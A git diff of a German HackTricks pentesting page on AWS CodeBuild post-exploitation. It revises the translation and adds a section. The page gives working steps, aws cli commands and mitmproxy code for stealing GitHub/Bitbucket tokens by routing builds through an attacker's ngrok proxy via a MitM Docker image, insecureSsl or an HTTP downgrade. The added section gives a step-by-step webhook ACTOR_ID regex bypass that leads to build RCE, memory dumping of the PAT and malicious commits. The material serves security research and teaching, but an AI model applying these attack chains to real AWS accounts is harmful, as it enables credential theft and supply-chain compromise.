diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md
index 1b25cf6a5..da30c68a4 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md
@@ -2,47 +2,47 @@
{{#include ../../../../banners/hacktricks-training.md}}
-## Wiederherstellen von Github/Bitbucket konfigurierten Tokens
+## Konfigurierte Github/Bitbucket Tokens wiederherstellen
-Zuerst überprüfen, ob es Quellanmeldeinformationen gibt, die Sie leaken könnten:
+Prüfe zuerst, ob source credentials konfiguriert sind, die zu einem leak führen könnten:
```bash
aws codebuild list-source-credentials
```
-### Via Docker Image
+### Über Docker-Image
-Wenn Sie feststellen, dass die Authentifizierung zum Beispiel für Github im Konto festgelegt ist, können Sie **exfiltrieren** diesen **Zugang** (**GH-Token oder OAuth-Token**), indem Sie Codebuild dazu bringen, ein **bestimmtes Docker-Image** zu verwenden, um den Build des Projekts auszuführen.
+Wenn Sie feststellen, dass z. B. eine Authentifizierung zu Github im Account eingerichtet ist, können Sie **exfiltrate** diesen **access** (**GH token or OAuth token**), indem Sie Codebuild dazu bringen, ein bestimmtes Docker-Image zu verwenden, um den Build des Projekts auszuführen.
-Zu diesem Zweck könnten Sie **ein neues Codebuild-Projekt erstellen** oder die **Umgebung** eines bestehenden ändern, um das **Docker-Image** festzulegen.
+Zu diesem Zweck können Sie **ein neues Codebuild-Projekt erstellen** oder die **Umgebung** eines vorhandenen Projekts ändern, um das **Docker-Image** festzulegen.
-Das Docker-Image, das Sie verwenden könnten, ist [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). Dies ist ein sehr einfaches Docker-Image, das die **Umgebungsvariablen `https_proxy`**, **`http_proxy`** und **`SSL_CERT_FILE`** festlegt. Dies ermöglicht es Ihnen, den Großteil des Traffics des im **`https_proxy`** und **`http_proxy`** angegebenen Hosts abzufangen und das in **`SSL_CERT_FILE`** angegebene SSL-Zertifikat zu vertrauen.
+Das Docker-Image, das Sie verwenden können, ist [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). Dies ist ein sehr einfaches Docker-Image, das die Umgebungsvariablen `https_proxy`, `http_proxy` und `SSL_CERT_FILE` setzt. Dadurch können Sie den Großteil des Traffics des in `https_proxy` und `http_proxy` angegebenen Hosts abfangen und dem in `SSL_CERT_FILE` angegebenen SSL-Zertifikat vertrauen.
-1. **Erstellen und Hochladen Ihres eigenen Docker MitM-Images**
-- Befolgen Sie die Anweisungen des Repos, um Ihre Proxy-IP-Adresse festzulegen und Ihr SSL-Zertifikat zu setzen und **das Docker-Image zu erstellen**.
-- **SETZEN SIE NICHT `http_proxy`**, um keine Anfragen an den Metadaten-Endpunkt abzufangen.
-- Sie könnten **`ngrok`** wie `ngrok tcp 4444` verwenden, um den Proxy auf Ihren Host zu setzen.
-- Sobald Sie das Docker-Image erstellt haben, **laden Sie es in ein öffentliches Repo hoch** (Dockerhub, ECR...)
-2. **Umgebung festlegen**
-- Erstellen Sie ein **neues Codebuild-Projekt** oder **ändern** Sie die Umgebung eines bestehenden.
-- Stellen Sie das Projekt so ein, dass es das **zuvor generierte Docker-Image** verwendet.
+1. **Erstellen & Hochladen Ihres eigenen Docker MitM-Images**
+- Befolgen Sie die Anweisungen des Repo, um Ihre Proxy-IP-Adresse und Ihr SSL-Zertifikat zu setzen und das Docker-Image zu bauen.
+- **DO NOT SET `http_proxy`**, damit Anfragen an den Metadata-Endpunkt nicht abgefangen werden.
+- Sie können **`ngrok`** wie `ngrok tcp 4444` verwenden, um den Proxy auf Ihren Host zu setzen
+- Sobald Sie das Docker-Image gebaut haben, **laden Sie es in ein öffentliches Repo hoch** (Dockerhub, ECR...)
+2. **Umgebung setzen**
+- **Erstellen** Sie ein neues Codebuild-Projekt oder **ändern** Sie die Umgebung eines bestehenden.
+- Konfigurieren Sie das Projekt so, dass es das **zuvor erzeugte Docker-Image** verwendet
3. **Setzen Sie den MitM-Proxy auf Ihrem Host**
-- Wie im **Github-Repo** angegeben, könnten Sie etwas wie Folgendes verwenden:
+- Wie im **Github repo** angegeben, können Sie etwas wie folgendes verwenden:
```bash
mitmproxy --listen-port 4444 --allow-hosts "github.com"
```
> [!TIP]
-> Die **mitmproxy-Version, die verwendet wurde, war 9.0.1**, es wurde berichtet, dass dies mit Version 10 möglicherweise nicht funktioniert.
+> Die **mitmproxy version used was 9.0.1**, es wurde berichtet, dass es mit Version 10 möglicherweise nicht funktioniert.
-4. **Führen Sie den Build aus und erfassen Sie die Anmeldeinformationen**
+4. **Build ausführen & Zugangsdaten erfassen**
-- Sie können das Token im **Authorization**-Header sehen:
+- Das Token ist im **Authorization**-Header sichtbar:
-Dies könnte auch über die aws cli mit etwas wie
+Das kann auch über die aws cli mit etwas wie dem Folgenden gemacht werden:
```bash
# Create project using a Github connection
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
@@ -71,17 +71,17 @@ aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
# Start the build
aws codebuild start-build --project-name my-project2
```
-### Via insecureSSL
+### Über insecureSSL
-**Codebuild**-Projekte haben eine Einstellung namens **`insecureSsl`**, die im Web verborgen ist und nur über die API geändert werden kann.\
-Wenn Sie dies aktivieren, kann Codebuild sich mit dem Repository **verbinden, ohne das von der Plattform angebotene Zertifikat zu überprüfen**.
+**Codebuild**-Projekte haben eine Einstellung namens **`insecureSsl`**, die in der Weboberfläche verborgen ist und nur über die API geändert werden kann.\
+Wenn diese aktiviert ist, erlaubt sie Codebuild, sich mit dem Repository zu verbinden **ohne das von der Plattform präsentierte Zertifikat zu prüfen**.
-- Zuerst müssen Sie die aktuelle Konfiguration mit etwas wie:
+- Zuerst musst du die aktuelle Konfiguration mit etwas wie folgendem auflisten:
```bash
aws codebuild batch-get-projects --name
```
-- Dann können Sie mit den gesammelten Informationen die Projekteinstellungen **`insecureSsl`** auf **`True`** aktualisieren. Das folgende ist ein Beispiel für meine Aktualisierung eines Projekts, beachten Sie das **`insecureSsl=True`** am Ende (das ist das einzige, was Sie aus der gesammelten Konfiguration ändern müssen).
-- Fügen Sie außerdem die Umgebungsvariablen **http_proxy** und **https_proxy** hinzu, die auf Ihr tcp ngrok zeigen, wie:
+- Dann kannst du mit den gesammelten Informationen die Projekteinstellung **`insecureSsl`** auf **`True`** setzen. Das folgende ist ein Beispiel für mein Aktualisieren eines Projekts — beachte **`insecureSsl=True`** am Ende (das ist das Einzige, was du an der gesammelten Konfiguration ändern musst).
+- Füge außerdem die env variables **`http_proxy`** und **`https_proxy`** hinzu, die auf dein tcp ngrok zeigen, wie folgt:
```bash
aws codebuild update-project --name \
--source '{
@@ -115,7 +115,7 @@ aws codebuild update-project --name \
]
}'
```
-- Führen Sie dann das grundlegende Beispiel von [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) an dem Port aus, der durch die Proxy-Variablen (http_proxy und https_proxy) angegeben ist.
+- Dann führe das einfache Beispiel von [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) auf dem Port aus, auf den die Proxy-Variablen (http_proxy und https_proxy) zeigen.
```python
from mitm import MITM, protocol, middleware, crypto
@@ -128,15 +128,15 @@ certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
```
-- Schließlich klicken Sie auf **Build the project**, die **Anmeldeinformationen** werden **im Klartext** (base64) an den mitm-Port gesendet:
+- Schließlich auf **Build the project** klicken — die **credentials** werden **im Klartext** (base64) an den mitm port gesendet:
-### ~~Via HTTP-Protokoll~~
+### ~~Über das HTTP-Protokoll~~
-> [!TIP] > **Diese Schwachstelle wurde von AWS irgendwann in der Woche des 20. Februar 2023 (ich glaube am Freitag) behoben. Ein Angreifer kann sie also nicht mehr ausnutzen :)**
+> [!TIP] > **Diese Schwachstelle wurde von AWS irgendwann in der Woche des 20. Feb 2023 behoben (ich glaube am Freitag). Daher kann ein Angreifer sie nicht mehr ausnutzen :)**
-Ein Angreifer mit **erhöhten Berechtigungen in über einem CodeBuild könnte das Github/Bitbucket-Token** leaken, das konfiguriert ist, oder wenn die Berechtigungen über OAuth konfiguriert wurden, das **temporäre OAuth-Token, das zum Zugriff auf den Code verwendet wird**.
+Ein Angreifer mit **elevated permissions in over a CodeBuild could leak the Github/Bitbucket token** configured or if permissions was configured via OAuth, the **temporary OAuth token used to access the code**.
- Ein Angreifer könnte die Umgebungsvariablen **http_proxy** und **https_proxy** zum CodeBuild-Projekt hinzufügen, die auf seine Maschine zeigen (zum Beispiel `http://5.tcp.eu.ngrok.io:14972`).
@@ -144,8 +144,8 @@ Ein Angreifer mit **erhöhten Berechtigungen in über einem CodeBuild könnte da
-- Dann ändern Sie die URL des Github-Repos, um HTTP anstelle von HTTPS zu verwenden, zum Beispiel: `http://github.com/carlospolop-forks/TestActions`
-- Dann führen Sie das grundlegende Beispiel von [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) an dem Port aus, der von den Proxy-Variablen (http_proxy und https_proxy) angegeben wird.
+- Dann die URL des github Repo so ändern, dass HTTP statt HTTPS verwendet wird, zum Beispiel: `http://github.com/carlospolop-forks/TestActions`
+- Dann das Basisbeispiel von https://github.com/synchronizing/mitm auf dem von den Proxy-Variablen (http_proxy und https_proxy) angegebenen Port ausführen.
```python
from mitm import MITM, protocol, middleware, crypto
@@ -158,15 +158,32 @@ certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
```
-- Klicken Sie als Nächstes auf **Projekt erstellen** oder starten Sie den Build über die Befehlszeile:
+- Als Nächstes klicken Sie auf **Build the project** oder starten Sie den Build von der Kommandozeile:
```sh
aws codebuild start-build --project-name
```
-- Schließlich werden die **Anmeldeinformationen** im **Klartext** (base64) an den mitm-Port gesendet:
+- Schließlich werden die **credentials** im **Klartext** (base64) an den mitm-Port gesendet:
> [!WARNING]
-> Jetzt kann ein Angreifer das Token von seiner Maschine aus verwenden, alle Privilegien auflisten, die es hat, und (miss)brauchen einfacher als die direkte Nutzung des CodeBuild-Dienstes.
+> Nun kann ein Angreifer das token von seiner Maschine aus verwenden, alle Berechtigungen auflisten, die es hat, und es leichter missbrauchen, als den CodeBuild-Service direkt zu verwenden.
+
+## Webhook-Filter ACTOR_ID regex allowlist bypass (PR-triggered privileged builds)
+
+Falsch konfigurierte CodeBuild GitHub-Webhooks, die nicht verankerte `ACTOR_ID`-Regexes verwenden, erlauben *nicht vertrauenswürdigen* PRs, privilegierte Builds zu starten. Wenn die allowlist z. B. `123456|7890123` ohne `^`/`$` ist, passt jede ID, die eines dieser Substrings enthält. Da GitHub-Benutzer-IDs sequenziell sind, kann ein Angreifer ein Rennen eingehen, um eine „eclipsing“ ID (ein Superstring einer vertrauenswürdigen ID) zu registrieren und den Build auszulösen.
+
+**Exploit path**
+
+1. Find public CodeBuild projects exposing webhook filters and extract an unanchored `ACTOR_ID` allowlist.
+2. Obtain an eclipsing GitHub ID:
+- Probe den globalen ID-Zähler, indem du GitHub-Organisationen erstellst/löschst (org IDs teilen denselben Pool).
+- Stelle viele GitHub App-Manifest-Erstellungen vorab bereit und rufe die Bestätigungs-URLs auf, wenn der Zähler innerhalb von ~100 IDs des Ziels liegt, um in einem Schub einen Bot-ID zu registrieren, der das vertrauenswürdige Substring enthält.
+3. Open a PR from the eclipsing account; the regex matches the substring and the privileged build runs.
+4. Use build RCE (e.g., dependency install hooks) to dump process memory handling the GitHub credential and recover the PAT/OAuth token.
+5. With the token’s `repo` scope, invite your account as collaborator/admin and push/approve malicious commits or exfiltrate secrets.
+
+## References
+- [Wiz: CodeBreach – AWS CodeBuild ACTOR_ID regex bypass and token theft](https://www.wiz.io/blog/wiz-research-codebreach-vulnerability-aws-codebuild)
{{#include ../../../../banners/hacktricks-training.md}}